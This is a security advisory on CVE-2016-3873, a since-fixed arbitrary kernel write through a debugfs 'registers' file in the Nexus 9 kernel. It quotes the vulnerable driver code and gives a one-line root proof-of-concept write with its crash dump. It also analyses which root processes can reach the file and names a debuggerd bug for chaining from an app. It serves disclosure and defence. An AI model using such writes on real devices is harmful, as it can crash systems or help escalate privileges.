CVE-2016-3873
Nexus 9: Arbitrary Kernel Write

Sagi Kedmi

IBM X-Force

September 7, 2016

Contents

1 Synopsis **1**

2 Arbitrary Kernel Write **2**
- 2.1 Vulnerable Code . . . 2
- 2.2 Proof of Concept . . . 3
- 2.3 Crash Dump . . . 3

3 Attack Surface **4**
- 3.1 `DAC` . . . 4
- 3.2 `SELinux` . . . 4
- 3.3 Processes . . . 4

4 Exploitation and Fix **5**

5 Timeline **5**

1 Synopsis

`Nexus 9`'s kernel (`tegra` kernel tree) exposes a `debugfs` file entry ("`registers`") that allows a privileged attacker to write arbitrary values within kernel space.

The vulnerability was acknowledged by Google's Android Security Team and got a High severity rating [1]. It has existed since Nexus 9's inception back in November 2014. It was reported to Google's Android Security Team in June, 2016 and was fixed in September, 2016.

The vulnerability was verified on what were then the latest Nexus 9 images (`LTE` and non-`LTE`):

```
google/volantisg/flounder:6.0.1/MOB30M/2862625:user/release-keys
google/volantisg/flounder_lte:6.0.1/MOB30M/2862625:user/release-keys
```

2 Arbitrary Kernel Write

2.1 Vulnerable Code

All code snippets below were taken from [4].

The `registers` `debugfs` file entry is created under the `cl_dvfs` directory with the `cl_register_fops` file operations.

```
int __init tegra_cl_dvfs_debug_init(struct clk *dfll_clk)
{
    [...]
    cl_dvfs_dentry = debugfs_create_dir("cl_dvfs", dfll_clk->dent);
    [...]
    if (!debugfs_create_file("registers", S_IRUGO | S_IWUSR,
        cl_dvfs_dentry, dfll_clk, &cl_register_fops))
        goto err_out;
    [...]
    return 0;
    [...]
}

static const struct file_operations cl_register_fops = {
    [...]
    .write      = cl_register_write,
    [...]
};
```

On `write()`, `cl_register_write()` securely copies a user space buffer and parses its contents as two numeric values: `val` - a value to be written and `offs` - an offset from a constant address (mentioned further below) that is persistent across boots.

```
static ssize_t cl_register_write(struct file *file,
    const char __user *userbuf, size_t count, loff_t *ppos)
{
    char buf[80];
    u32 offs;
    u32 val;
    [...]
    struct tegra_cl_dvfs *cld = c->u.dfll.cl_dvfs;
    if (sizeof(buf) <= count)
        return -EINVAL;
    if (copy_from_user(buf, userbuf, count))
        return -EFAULT;
    [...]
    if (sscanf(buf, "[0x%x] = 0x%x", &offs, &val) != 2)
        return -1;
    [...]
    cl_dvfs_writel(cld, val, offs & (~0x3));
    [...]
```

```
    return count;
}
```

Eventually, either `cl_dvfs_writel()` or `cl_dvfs_i2c_writel()` are called, and `__raw_writel()` is used to write value `val` at `offs+constant_address` (either, `cl->cl_base` or `cld->cl_i2c_base`) which results in an arbitrary kernel write.

```
static inline void cl_dvfs_writel(struct tegra_cl_dvfs *cld, u32 val, u32 offs)
{
    if (offs >= CL_DVFS_I2C_CFG) {
        cl_dvfs_i2c_writel(cld, val, offs);
        return;
    }
    __raw_writel(val, (void *)cld->cl_base + offs);
}

static inline void cl_dvfs_i2c_writel(struct tegra_cl_dvfs *cld,
                      u32 val, u32 offs)
{
    __raw_writel(val, cld->cl_i2c_base + offs);
}
```

The vulnerability is reminiscent of a previously discovered vulnerability by Marco Grassi [3].

2.2 Proof of Concept

```
$ su
# echo "[0x44444444]=0x12341234" > /sys/kernel/debug/clock/dfll_cpu/cl_dvfs/registers
```

2.3 Crash Dump

After the device crashes, `/sys/fs/pstore/console-ramoops` has the crash-dump:

```
<1>[ 1407.192397] Unable to handle kernel paging request at virtual address ffffffbc43744444
<1>[ 1407.192720] pgd = ffffffc0618b9000
<1>[ 1407.192752] [ffffffbc43744444] *pgd=0000000000000000
<0>[ 1407.192799] Internal error: Oops: 96000045 [#1] PREEMPT SMP
<4>[ 1407.192928] CPU: 1 PID: 3136 Comm: sush Tainted: G        W    3.10.40-g2700fb3 #1
<4>[ 1407.192958] task: ffffffc00c3f5400 ti: ffffffc058218000 task.ti: ffffffc058218000
<4>[ 1407.193015] PC is at cl_register_write+0xb0/0x118
<4>[ 1407.193047] LR is at cl_register_write+0x94/0x118
<4>[ 1407.193070] pc : [<ffffffc000765154>] lr : [<ffffffc000765138>] pstate: 20000045
<4>[ 1407.193090] sp : ffffffc05821bda0
<4>[ 1407.193109] x29: ffffffc05821bda0 x28: ffffffc058218000
<4>[ 1407.193150] x27: ffffffc000e5f000 x26: 0000000000000040
<4>[ 1407.193192] x25: 0000000000000116 x24: 000000000000001a
<4>[ 1407.193233] x23: 000000557c17bef8 x22: 000000557c17bef8
<4>[ 1407.193272] x21: ffffffc05821bde0 x20: ffffffc0669dac00
<4>[ 1407.193380] x19: 000000000000001a x18: 00000000ffffffff
<4>[ 1407.193418] x17: 0000007fab90ac3c x16: ffffffc000195e64
<4>[ 1407.193458] x15: 000000000000000a x14: 000000555f2c5000
<4>[ 1407.193496] x13: 000000555f2c5000 x12: 000000557c17bf78
<4>[ 1407.193535] x11: 0000000000000080 x10: 0000000000000000
<4>[ 1407.193589] x9 : 0000000000000010 x8 : 0000000000000004
```

```
<4>[ 1407.193627] x7 : 0000000000000000 x6 : ffffffc05821bdf1
<4>[ 1407.193663] x5 : 0000000000000004 x4 : 00000000000000b7
<4>[ 1407.193700] x3 : ffffffc000d50e6d x2 : ffffffbbff300000
<4>[ 1407.193819] x1 : 0000000012341234 x0 : ffffffbc43744444
[...]
```

As can be seen above - we get a kernel paging request at a consistent address (which results in a kernel `Oops`, because the address used didn't have a proper mapping in the page table).

3 Attack Surface

We analyse the Discretionary Access Control (`DAC`) and Mandatory Access Control (`MAC`, `SELinux` on `Android`) to find out which active processes can trigger the vulnerability.

3.1 `DAC`

`DAC`-wise, who can `write` to the file?

The attacker has to execute code under `root` within the `debugfs` `SELinux` context.

```
shell@flounder_lte:/sys/kernel/debug/clock/dfll_cpu/cl_dvfs $ ls -lZ registers
-rw-r--r-- root     root              u:object_r:debugfs:s0 registers
```

3.2 `SELinux`

`SELinux`-wise, what contexts can `write` to a `debugfs` file ?

Looking at the aforementioned output of `ls -lZ`, we need to find `SELinux` domains with `allow` rules that have target type `debugfs` with the `open` and `write` permissions on `file` class.

Analysing `Nexus 9`'s `sepolicy` (`MOB30M`) yields:

```
allow domain debugfs:file { write open append };
```

That is, `SELinux`-wise, any domain can open, write and append to any file with the `debugfs` context.

3.3 Processes

What active processes can trigger the vulnerability?

Since any `SELinux` domain can `open` and `write` to a `debugfs` file, we simply need to find which processes execute as `root`.

Analysing active processes using `ps -Z` yields:

```
u:r:init:s0                     root      1     0     /init
u:r:ueventd:s0                  root      149   1     /sbin/ueventd
u:r:watchdogd:s0                root      154   1     /sbin/watchdogd
u:r:vold:s0                     root      185   1     /system/bin/vold
u:r:healthd:s0                  root      189   1     /sbin/healthd
u:r:lmkd:s0                     root      190   1     /system/bin/lmkd
u:r:netd:s0                     root      244   1     /system/bin/netd
```

```
u:r:debuggerd:s0          root      245   1     /system/bin/debuggerd
u:r:debuggerd:s0          root      246   1     /system/bin/debuggerd64
u:r:installd:s0           root      249   1     /system/bin/installd
u:r:zygote:s0             root      253   1     zygote64
u:r:zygote:s0             root      254   1     zygote
```

Code execution within any of the processes above can trigger and exploit the vulnerability.

4 Exploitation and Fix

To exploit the vulnerability from an untrusted app security context, one would first need to escalate privileges from an untrusted app to one of the contexts of the aforementioned processes. For instance, `CVE-2016-0807` [5], disclosed by Zach Riggle, may be used, since it allows an untrusted app to execute code within `debuggerd`.

We thought that Google / Nvidia would fix the vulnerability by checking the bounds on the given offset, but the commit that fixed the vulnerability [2] reveals that Google simply removed the `registers` file node from showing up on the `debug` file system. Clearly, the `registers` file node was not needed on production builds. One can only wonder how many other, unnecessary, vulnerable, `debugfs` or `sysfs` file nodes are out there.

5 Timeline

- **20.06.2016** – Vulnerability was reported to the Android Security Team.
- **24.06.2016** – Android Security Team acknowledged receipt, issue is under triage.
- **26.07.2016** – Severity set to High.
- **28.07.2016** – CVE-2016-3873 was assigned.
- **06.09.2016** – Publicly disclosed and fixed.

References

[1] Android Security Bulletin - September 2016 . https://source.android.com/security/bulletin/2016-09-01.html#2016-09-05-summary. [Online; accessed 20-October-2016].

[2] Commit that fixed the vulnerability. https://android.googlesource.com/kernel/tegra/+/a139acc1c48ec838aab3d592a1c964fe675a0cf4. [Online; accessed 20-October-2016].

[3] Qualcomm `debugfs` Arbitrary Kernel Write. https://marcograss.github.io/security/android/cve/2016/05/03/cve-2016-2443-msm-kernel-arbitrary-write.html. [Online; accessed 20-June-2016].

[4] Tegra's Android Kernel. https://android.googlesource.com/kernel/tegra/+/android-tegra-flounder-3.10-n-preview-2/arch/arm/mach-tegra/tegra_cl_dvfs.c#3223. [Online; accessed 20-June-2016].

[5] CVE-2016-0807:debuggerd privilege escalation. https://source.android.com/security/bulletin/2016-02-01.html#elevation_of_privilege_vulnerability_in_the_debuggerd. [Online; accessed 20-June-2016].